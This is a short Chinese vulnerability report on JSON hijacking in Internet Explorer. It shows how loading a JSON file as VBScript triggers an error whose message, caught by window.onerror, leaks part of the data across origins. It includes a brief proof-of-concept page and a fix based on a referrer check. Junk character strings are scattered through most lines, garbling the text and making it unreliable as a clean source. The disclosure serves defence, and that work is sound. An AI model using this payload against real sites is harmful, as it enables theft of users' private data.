简要描述:
& I2 i6 J! c! i1 g$ W
9 e- `, V5 n: a0 [- Y4 L由于某些资源容器对数据处理不当导致json劫持漏洞.
$ q1 f9 F" z1 V9 H7 ?3 |详细说明:! w% q1 m+ L, ~% ~* X- K4 ^5 p
由于ie支持vbscript,所以script元素可以指定成vbscript语言:7 \; k& L4 z6 X4 E* d b# n
<script language=vbscript></script>; p! r' h: e" D9 W+ R" b; k
9 I1 d; _+ B/ y& M2 Q7 m# s: H
当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
# q! i3 O9 P" g ]& o" k漏洞证明:- R+ z4 N* ^2 U' |' q
<script>3 D2 n) ?/ P+ f( V# b
window.onerror=function(_){ v8 G- N7 L& @/ G) o! p
alert(_)+ X7 P( p D% Q; E
}+ e2 B+ P0 A ?9 a2 @& z
</script>+ c! |5 H, a0 |7 C6 y6 h. x
<script language=vbscript src=1.json></script>
; h6 G4 `* l5 k( q
/ s! T4 n5 v C& c: \
- q& A: x! q" \$ m& w! k: \1.json:
6 Q, \4 `& y4 s) q2 t! b+ B7 u' h[{"name":"sogili","age":19}]
, ?' J3 T( G/ [+ M/ _9 ]3 Z修复方案:- |# R2 Y: m! {( a9 N$ I: c
网站业务对于这个问题可以通过验证referrer是否为同源来防御 |